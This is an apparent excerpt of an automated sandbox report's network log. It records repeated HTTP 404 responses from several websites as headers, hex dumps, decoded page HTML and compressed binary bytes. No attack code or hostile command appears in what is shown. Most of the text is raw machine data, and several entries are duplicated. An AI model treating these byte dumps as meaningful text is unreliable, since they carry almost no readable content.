65 66 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 63 6f 70 79 73 65 74 2e 63 6f 6d 2f 22 20 3e 0d 0a 20 20 0d 0a 0d 0a 0d 0a 0d 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 65 64 67 65 22 3e 0d 0a 0d 0a 0d 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 68 6f 72 74 63 75 74 20 69 63 6f 6e 22 20 68 72 65 66 3d 22 2f 66 61 76 69 63 6f 6e 2e 69 63 6f 22 3e 0d 0a 0d 0a 20 20 3c 6c 69 6e 6b 20 68 72 65 66 3d 22 2f 2f 6d 61 78 63 64 6e 2e 62 6f 6f 74 73 74 72 61 70 63 64 6e 2e 63 6f 6d 2f 66 6f 6e 74 2d 61 77 65 73 6f 6d 65 2f 34 2e 33 2e 30 2f 63 73 73 2f 66 6f 6e 74 2d 61 77 65 73 6f 6d 65 2e 6d 69 6e 2e 63 73 73 22 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 3e 0d 0a 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 73 65 63 75 72 65 70 72 69 6e 74 6f 72 64 65 72 2e 77 6f 72 6c 64 2d 63 64 6e 73 65 72 76 2e 63 6f 6d 2f 63 6f 6d 6d 6f 6e 2e 63 73 73 3f 76 3d 33 2e 31 22 3e 0d 0a 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 6d 65 64 69 61 3d 22 70 72 69 6e 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 73 65 63 75 72 65 70 72 69 6e 74 6f 72 64 65 72 2e 77 6f 72 6c 64 2d 63 64 6e 73 65 72 76 2e 63 6f 6d 2f 73 79 73 74 65 6d 2f 32 30 31 31 2f 63 6f 6d 6d 6f 6e 5f 70 72 69 6e 7
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Wed, 20 Dec 2023 02:13:38 GMTServer: ApacheVary: X-W-SSL,User-AgentSet-Cookie: language=en; expires=Wed, 03-Jan-2024 02:13:38 GMT; Max-Age=1209600; path=/Set-Cookie: cookie-consent=%7B%22allowStrictlyNecessaryCookies%22%3Atrue%2C%22allowFunctionalityCookies%22%3Atrue%2C%22allowPerformanceCookies%22%3Atrue%2C%22allowTargetingCookies%22%3Atrue%2C%22allowInternalPerformanceCookies%22%3Atrue%7D; expires=Sat, 17-Dec-2033 02:13:38 GMT; Max-Age=315360000; path=/Cache-Control: privateX-Host: grn58.sf2p.intern.weebly.netX-UA-Compatible: IE=edge,chrome=1Content-Length: 3909Content-Type: text/html; charset=UTF-8Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 53 74 72 69 63 74 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 2f 44 54 44 2f 78 68 74 6d 6c 31 2d 73 74 72 69 63 74 2e 64 74 64 22 3e 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 20 78 6d 6c 3a 6c 61 6e 67 3d 22 65 6e 22 3e 0a 3c 68 65 61 64 3e 3c 73 63 72 69 70 74 20 73 72 63 3d 22 2f 67 64 70 72 2f 67 64 70 72 73 63 72 69 70 74 2e 6a 73 3f 62 75 69 6c 64 54 69 6d 65 3d 31 37 30 33 30 31 37 34 32 36 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 09 3c 74 69 74 6c 65 3e 34 30 34 20 2d 20 50 61 67 65 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 09 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 20 2f 3e 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 6f 62 6f 74 73 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 61 72 63 68 69 76 65 22 20 2f 3e 0a 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 68 6f 72 74 63 75 74 20 69 63 6f 6e 22 20 68 72 65 66 3d 22 2f 2f 63 64 6e 31 2e 65 64 69 74 6d 79 73 69 74 65 2e 63 6f 6d 2f 64 65 76 65 6c 6f 70 65 72 2f 6e 6f 6e 65 2e 69 63 6f 22 20 2f 3e 0a 0a 09 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0a 09 09 40 66 6f 6e 74 2d 66 61 63 65 20 7b 0a 09 09 09 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 27 50 72 6f 78 69 6d 61 20 4e 6f 76 61 27 3b 0a 09 09 09 66 6f 6e 74 2d 77 65 69 67 68 74 Data Ascii: <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"><html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en"><head><script src="/gdpr/gdprscript.js?buildTime=1703017426"></script><title>404 - Page Not Found</title><meta http-equiv="content-type" content="text/html; charset=UTF-8" /><meta name="viewport" content="width=device-width, initial-scale=1"><meta name="robots" co
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Wed, 20 Dec 2023 02:13:38 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: keep-aliveVary: Accept-EncodingExpires: Wed, 11 Jan 1984 05:00:00 GMTCache-Control: no-cache, must-revalidate, max-age=0Link: <http://www.wakux2.com/wp/wp-json/>; rel="https://api.w.org/"Content-Encoding: gzipData Raw: 36 31 34 30 0d 0a 1f 8b 08 00 00 00 00 00 04 03 d5 bd 7b 93 1c cb 75 1f f8 f7 bd 11 fe 0e c5 81 48 00 e4 74 4f 4f cf 03 f3 c0 80 96 49 4b ab d5 9a e4 ae a8 70 c4 2a 18 88 ea ee ea 99 06 fa c5 7e 60 30 c4 62 43 00 d6 32 a9 4b ed 5b a6 64 c9 4b 3d 68 eb 15 a2 4c 4b 0e 6b 29 5a 8a d8 af 32 c4 25 f9 97 bf 82 4f be aa 32 4f 9e cc 3c 55 dd 00 b9 97 00 38 5d 9d f9 3b 27 4f 9e 3c 79 7e a7 b2 6a 1e 7e 62 30 eb af 6e e6 45 76 b5 9a 8c 1f 7d f8 50 fc 5f 36 ce a7 97 17 3b 4f f2 9d 47 1f c2 95 22 1f c0 17 93 62 95 67 fd ab 7c b1 2c 56 17 3b eb d5 b0 75 02 5f ab cb d3 7c 52 5c ec 3c 1b 15 d7 f3 d9 62 b5 93 f5 67 d3 55 31 85 66 d7 a3 c1 ea ea 62 50 3c 1b f5 8b 96 fc b0 9b 8d a6 a3 d5 28 1f b7 96 fd 7c 5c 5c ec b7 3b bb 99 e9 d9 1a 8e 56 17 fd d9 b3 62 81 a0 17 c5 b0 58 2c e0 72 05 3d 9d b5 cc d5 d6 f5 55 31 6d 0d 66 d7 d3 cb 45 3e 28 50 df e1 6c 31 c9 57 ad 41 b1 2a fa ab d1 6c 6a 61 ac 8a 71 31 bf 9a 4d 8b 8b e9 4c 8c 35 cb c4 1f f8 fb f0 13 ad 56 f6 c5 d5 55 b1 c8 7e 7e 9a 8f 6f 56 a3 fe 32 6b b5 60 bc cb fe 62 34 5f 65 f9 f2 66 da cf 96 8b fe c5 ce d5 6a 35 5f 9e ed ed cd f3 4b b0 54 b7 7d 39 9b 5d 8e 0b f8 7e 30 ea e7 42 60 bb 3f 9b e8 6f f7 9e 2c f7 f2 c1 b2 77 a3 1a b5 9f 2c 3f db 1f 8f 84 a9 fa 79 6b be ee b5 8e 0f 8e 4e ba 9d e3 c3 a3 ee 69 e7 41 e7 f4 70 e7 1f 81 36 f0 5f 7f 31 5b 2e 67 8b d1 e5 68 7a b1 93 4f 67 d3 9b c9 6c bd dc 79 f4 70 4f 29 04 9a 09 95 f7 48 9d c5 37 f3 45 01 b3 32 05 13 64 83 e9 b2 05 1f 87 c5 aa 7f a5 06 35 1e 4d 9f 66 8b 62 7c b1 13 68 b6 93 5d 41 87 8b 9d bd bd eb eb 6b 3d c2 55 7e 39 c9 a7 30 e8 85 18 a0 30 7a 23 98 16 60 28 03 37 80 c9 9f e4 cf b5 3a f9 7c b4 6c 80 d0 1f 4c 9f 40 bf f1 6c 3d 18 8e f3 45 d1 00 22 3a f1 35 ed a2 fc 02 5c a4 7d d9 1e cc d6 bd 71 01 fe d1 7f da 9e 16 ab 9a 48 ab 79 9f 76 c5 9a 38 f9 60 43 45 a4 c7 2c 57 b0 14 fa 0d 8c db 5f 16 7a 18 0d 3a 0f 21 0e 81 25 1b 0b d7 fd e5 82 6e ea 5f 93 65 fb ab eb 1c f4 28 16 cf 9a 78 d7 b2 e8 af c1 2d 21 b2 3d cb 57 79 93 b5 06 2e de b6 c3 d1 ea 7a 34 b9 6c 60 4d 81 f3 64 39 28 c6 a3 67 8b 06 0e 39 9a 40 ac 58 b6 86 45 7b b9 1c b7 f4 a7 7c 92 7f 4d 45 c8 9a 6e 09 21 67 3e 2e 64 78 6d 8c 31 69 4f 8a c1 28 6f 35 06 18 b5 27 b3 e5 d5 68 32 6b 60 cd 7c 32 6e 3f cb c7 6b 08 cb 93 49 b1 e8 37 f1 8d 41 3e ee 6f 03 a4 47 82 a8 2d e5 4b b0 2f cc f2 01 b1 51 88 cb 3b b0 13 5e ec 88 75 b2 93 89 34 42 fd bc 77 3d 1b 0e cd 9e 21 f6 47 d8 1e 45 18 b8 ce 9f ae 9f 77 85 b1 f6 ae e7 f0 a7 a5 13 85 3d d8 69 27 c5 72 af 3f eb cf 66 d3 d6 24 5f ae 8a c5 de 75 d1 93 0b 70 6f 04 1d e0 fa 9e f3 a9 ad 64 58 1b 23 de 81 12 fa 75 b7 a7 a0 50 2c bf 2e 96 b3 49 a1 95 b4 ae b4 f4 38 a4 c2 dd cf 3e bb 38 6c 3f 68
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Wed, 20 Dec 2023 02:13:38 GMTServer: ApacheVary: X-W-SSL,User-AgentSet-Cookie: language=en; expires=Wed, 03-Jan-2024 02:13:38 GMT; Max-Age=1209600; path=/Set-Cookie: cookie-consent=%7B%22allowStrictlyNecessaryCookies%22%3Atrue%2C%22allowFunctionalityCookies%22%3Atrue%2C%22allowPerformanceCookies%22%3Atrue%2C%22allowTargetingCookies%22%3Atrue%2C%22allowInternalPerformanceCookies%22%3Atrue%7D; expires=Sat, 17-Dec-2033 02:13:38 GMT; Max-Age=315360000; path=/Cache-Control: privateX-Host: grn58.sf2p.intern.weebly.netX-UA-Compatible: IE=edge,chrome=1Content-Length: 3909Content-Type: text/html; charset=UTF-8Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 53 74 72 69 63 74 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 2f 44 54 44 2f 78 68 74 6d 6c 31 2d 73 74 72 69 63 74 2e 64 74 64 22 3e 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 20 78 6d 6c 3a 6c 61 6e 67 3d 22 65 6e 22 3e 0a 3c 68 65 61 64 3e 3c 73 63 72 69 70 74 20 73 72 63 3d 22 2f 67 64 70 72 2f 67 64 70 72 73 63 72 69 70 74 2e 6a 73 3f 62 75 69 6c 64 54 69 6d 65 3d 31 37 30 33 30 31 37 34 32 36 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 09 3c 74 69 74 6c 65 3e 34 30 34 20 2d 20 50 61 67 65 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 09 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 20 2f 3e 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 6f 62 6f 74 73 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 61 72 63 68 69 76 65 22 20 2f 3e 0a 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 68 6f 72 74 63 75 74 20 69 63 6f 6e 22 20 68 72 65 66 3d 22 2f 2f 63 64 6e 31 2e 65 64 69 74 6d 79 73 69 74 65 2e 63 6f 6d 2f 64 65 76 65 6c 6f 70 65 72 2f 6e 6f 6e 65 2e 69 63 6f 22 20 2f 3e 0a 0a 09 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0a 09 09 40 66 6f 6e 74 2d 66 61 63 65 20 7b 0a 09 09 09 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 27 50 72 6f 78 69 6d 61 20 4e 6f 76 61 27 3b 0a 09 09 09 66 6f 6e 74 2d 77 65 69 67 68 74 Data Ascii: <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"><html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en"><head><script src="/gdpr/gdprscript.js?buildTime=1703017426"></script><title>404 - Page Not Found</title><meta http-equiv="content-type" content="text/html; charset=UTF-8" /><meta name="viewport" content="width=device-width, initial-scale=1"><meta name="robots" co
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Wed, 20 Dec 2023 02:13:38 GMTServer: ApacheSet-Cookie: is_mobile=0; path=/; domain=www.guymassey.comVary: X-W-SSL,User-AgentSet-Cookie: language=en; expires=Wed, 03-Jan-2024 02:13:38 GMT; Max-Age=1209600; path=/Set-Cookie: cookie-consent=%7B%22allowStrictlyNecessaryCookies%22%3Atrue%2C%22allowFunctionalityCookies%22%3Atrue%2C%22allowPerformanceCookies%22%3Atrue%2C%22allowTargetingCookies%22%3Atrue%2C%22allowInternalPerformanceCookies%22%3Atrue%7D; expires=Sat, 17-Dec-2033 02:13:38 GMT; Max-Age=315360000; path=/Cache-Control: privateX-Host: grn63.sf2p.intern.weebly.netX-UA-Compatible: IE=edge,chrome=1Content-Length: 3909Content-Type: text/html; charset=UTF-8Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 53 74 72 69 63 74 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 2f 44 54 44 2f 78 68 74 6d 6c 31 2d 73 74 72 69 63 74 2e 64 74 64 22 3e 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 20 78 6d 6c 3a 6c 61 6e 67 3d 22 65 6e 22 3e 0a 3c 68 65 61 64 3e 3c 73 63 72 69 70 74 20 73 72 63 3d 22 2f 67 64 70 72 2f 67 64 70 72 73 63 72 69 70 74 2e 6a 73 3f 62 75 69 6c 64 54 69 6d 65 3d 31 37 30 33 30 31 37 34 32 36 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 09 3c 74 69 74 6c 65 3e 34 30 34 20 2d 20 50 61 67 65 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 09 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 20 2f 3e 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 6f 62 6f 74 73 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 61 72 63 68 69 76 65 22 20 2f 3e 0a 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 68 6f 72 74 63 75 74 20 69 63 6f 6e 22 20 68 72 65 66 3d 22 2f 2f 63 64 6e 31 2e 65 64 69 74 6d 79 73 69 74 65 2e 63 6f 6d 2f 64 65 76 65 6c 6f 70 65 72 2f 6e 6f 6e 65 2e 69 63 6f 22 20 2f 3e 0a 0a 09 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0a 09 09 Data Ascii: <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"><html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en"><head><script src="/gdpr/gdprscript.js?buildTime=1703017426"></script><title>404 - Page Not Found</title><meta http-equiv="content-type" content="text/html; charset=UTF-8" /><meta name="viewport" content="width=device-width, initial-scale=1"><meta name="robots" content="noarchive" /><link rel="shortcut icon" href="//cdn1.editmysite.com/developer/none.ico" /><style type="text
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Wed, 20 Dec 2023 02:13:38 GMTServer: ApacheSet-Cookie: is_mobile=0; path=/; domain=www.guymassey.comVary: X-W-SSL,User-AgentSet-Cookie: language=en; expires=Wed, 03-Jan-2024 02:13:38 GMT; Max-Age=1209600; path=/Set-Cookie: cookie-consent=%7B%22allowStrictlyNecessaryCookies%22%3Atrue%2C%22allowFunctionalityCookies%22%3Atrue%2C%22allowPerformanceCookies%22%3Atrue%2C%22allowTargetingCookies%22%3Atrue%2C%22allowInternalPerformanceCookies%22%3Atrue%7D; expires=Sat, 17-Dec-2033 02:13:38 GMT; Max-Age=315360000; path=/Cache-Control: privateX-Host: grn63.sf2p.intern.weebly.netX-UA-Compatible: IE=edge,chrome=1Content-Length: 3909Content-Type: text/html; charset=UTF-8Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 53 74 72 69 63 74 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 2f 44 54 44 2f 78 68 74 6d 6c 31 2d 73 74 72 69 63 74 2e 64 74 64 22 3e 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 20 78 6d 6c 3a 6c 61 6e 67 3d 22 65 6e 22 3e 0a 3c 68 65 61 64 3e 3c 73 63 72 69 70 74 20 73 72 63 3d 22 2f 67 64 70 72 2f 67 64 70 72 73 63 72 69 70 74 2e 6a 73 3f 62 75 69 6c 64 54 69 6d 65 3d 31 37 30 33 30 31 37 34 32 36 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 09 3c 74 69 74 6c 65 3e 34 30 34 20 2d 20 50 61 67 65 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 09 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 20 2f 3e 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 6f 62 6f 74 73 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 61 72 63 68 69 76 65 22 20 2f 3e 0a 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 68 6f 72 74 63 75 74 20 69 63 6f 6e 22 20 68 72 65 66 3d 22 2f 2f 63 64 6e 31 2e 65 64 69 74 6d 79 73 69 74 65 2e 63 6f 6d 2f 64 65 76 65 6c 6f 70 65 72 2f 6e 6f 6e 65 2e 69 63 6f 22 20 2f 3e 0a 0a 09 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0a 09 09 Data Ascii: <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"><html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en"><head><script src="/gdpr/gdprscript.js?buildTime=1703017426"></script><title>404 - Page Not Found</title><meta http-equiv="content-type" content="text/html; charset=UTF-8" /><meta name="viewport" content="width=device-width, initial-scale=1"><meta name="robots" content="noarchive" /><link rel="shortcut icon" href="//cdn1.editmysite.com/developer/none.ico" /><style type="text
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Wed, 20 Dec 2023 02:13:38 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: keep-aliveVary: Accept-EncodingExpires: Wed, 11 Jan 1984 05:00:00 GMTCache-Control: no-cache, must-revalidate, max-age=0Link: <http://www.wakux2.com/wp/wp-json/>; rel="https://api.w.org/"Content-Encoding: gzipData Raw: 36 31 34 30 0d 0a 1f 8b 08 00 00 00 00 00 04 03 d5 bd 7b 93 1c cb 75 1f f8 f7 bd 11 fe 0e c5 81 48 00 e4 74 4f 4f cf 03 f3 c0 80 96 49 4b ab d5 9a e4 ae a8 70 c4 2a 18 88 ea ee ea 99 06 fa c5 7e 60 30 c4 62 43 00 d6 32 a9 4b ed 5b a6 64 c9 4b 3d 68 eb 15 a2 4c 4b 0e 6b 29 5a 8a d8 af 32 c4 25 f9 97 bf 82 4f be aa 32 4f 9e cc 3c 55 dd 00 b9 97 00 38 5d 9d f9 3b 27 4f 9e 3c 79 7e a7 b2 6a 1e 7e 62 30 eb af 6e e6 45 76 b5 9a 8c 1f 7d f8 50 fc 5f 36 ce a7 97 17 3b 4f f2 9d 47 1f c2 95 22 1f c0 17 93 62 95 67 fd ab 7c b1 2c 56 17 3b eb d5 b0 75 02 5f ab cb d3 7c 52 5c ec 3c 1b 15 d7 f3 d9 62 b5 93 f5 67 d3 55 31 85 66 d7 a3 c1 ea ea 62 50 3c 1b f5 8b 96 fc b0 9b 8d a6 a3 d5 28 1f b7 96 fd 7c 5c 5c ec b7 3b bb 99 e9 d9 1a 8e 56 17 fd d9 b3 62 81 a0 17 c5 b0 58 2c e0 72 05 3d 9d b5 cc d5 d6 f5 55 31 6d 0d 66 d7 d3 cb 45 3e 28 50 df e1 6c 31 c9 57 ad 41 b1 2a fa ab d1 6c 6a 61 ac 8a 71 31 bf 9a 4d 8b 8b e9 4c 8c 35 cb c4 1f f8 fb f0 13 ad 56 f6 c5 d5 55 b1 c8 7e 7e 9a 8f 6f 56 a3 fe 32 6b b5 60 bc cb fe 62 34 5f 65 f9 f2 66 da cf 96 8b fe c5 ce d5 6a 35 5f 9e ed ed cd f3 4b b0 54 b7 7d 39 9b 5d 8e 0b f8 7e 30 ea e7 42 60 bb 3f 9b e8 6f f7 9e 2c f7 f2 c1 b2 77 a3 1a b5 9f 2c 3f db 1f 8f 84 a9 fa 79 6b be ee b5 8e 0f 8e 4e ba 9d e3 c3 a3 ee 69 e7 41 e7 f4 70 e7 1f 81 36 f0 5f 7f 31 5b 2e 67 8b d1 e5 68 7a b1 93 4f 67 d3 9b c9 6c bd dc 79 f4 70 4f 29 04 9a 09 95 f7 48 9d c5 37 f3 45 01 b3 32 05 13 64 83 e9 b2 05 1f 87 c5 aa 7f a5 06 35 1e 4d 9f 66 8b 62 7c b1 13 68 b6 93 5d 41 87 8b 9d bd bd eb eb 6b 3d c2 55 7e 39 c9 a7 30 e8 85 18 a0 30 7a 23 98 16 60 28 03 37 80 c9 9f e4 cf b5 3a f9 7c b4 6c 80 d0 1f 4c 9f 40 bf f1 6c 3d 18 8e f3 45 d1 00 22 3a f1 35 ed a2 fc 02 5c a4 7d d9 1e cc d6 bd 71 01 fe d1 7f da 9e 16 ab 9a 48 ab 79 9f 76 c5 9a 38 f9 60 43 45 a4 c7 2c 57 b0 14 fa 0d 8c db 5f 16 7a 18 0d 3a 0f 21 0e 81 25 1b 0b d7 fd e5 82 6e ea 5f 93 65 fb ab eb 1c f4 28 16 cf 9a 78 d7 b2 e8 af c1 2d 21 b2 3d cb 57 79 93 b5 06 2e de b6 c3 d1 ea 7a 34 b9 6c 60 4d 81 f3 64 39 28 c6 a3 67 8b 06 0e 39 9a 40 ac 58 b6 86 45 7b b9 1c b7 f4 a7 7c 92 7f 4d 45 c8 9a 6e 09 21 67 3e 2e 64 78 6d 8c 31 69 4f 8a c1 28 6f 35 06 18 b5 27 b3 e5 d5 68 32 6b 60 cd 7c 32 6e 3f cb c7 6b 08 cb 93 49 b1 e8 37 f1 8d 41 3e ee 6f 03 a4 47 82 a8 2d e5 4b b0 2f cc f2 01 b1 51 88 cb 3b b0 13 5e ec 88 75 b2 93 89 34 42 fd bc 77 3d 1b 0e cd 9e 21 f6 47 d8 1e 45 18 b8 ce 9f ae 9f 77 85 b1 f6 ae e7 f0 a7 a5 13 85 3d d8 69 27 c5 72 af 3f eb cf 66 d3 d6 24 5f ae 8a c5 de 75 d1 93 0b 70 6f 04 1d e0 fa 9e f3 a9 ad 64 58 1b 23 de 81 12 fa 75 b7 a7 a0 50 2c bf 2e 96 b3 49 a1 95 b4 ae b4 f4 38 a4 c2 dd cf 3e bb 38 6c 3f 68
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Wed, 20 Dec 2023 02:13:39 GMTServer: ApacheSet-Cookie: is_mobile=0; path=/; domain=www.guymassey.comVary: X-W-SSL,User-AgentSet-Cookie: language=en; expires=Wed, 03-Jan-2024 02:13:39 GMT; Max-Age=1209600; path=/Set-Cookie: cookie-consent=%7B%22allowStrictlyNecessaryCookies%22%3Atrue%2C%22allowFunctionalityCookies%22%3Atrue%2C%22allowPerformanceCookies%22%3Atrue%2C%22allowTargetingCookies%22%3Atrue%2C%22allowInternalPerformanceCookies%22%3Atrue%7D; expires=Sat, 17-Dec-2033 02:13:39 GMT; Max-Age=315360000; path=/Cache-Control: privateX-Host: grn59.sf2p.intern.weebly.netX-UA-Compatible: IE=edge,chrome=1Content-Length: 3909Content-Type: text/html; charset=UTF-8Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 53 74 72 69 63 74 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 2f 44 54 44 2f 78 68 74 6d 6c 31 2d 73 74 72 69 63 74 2e 64 74 64 22 3e 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 20 78 6d 6c 3a 6c 61 6e 67 3d 22 65 6e 22 3e 0a 3c 68 65 61 64 3e 3c 73 63 72 69 70 74 20 73 72 63 3d 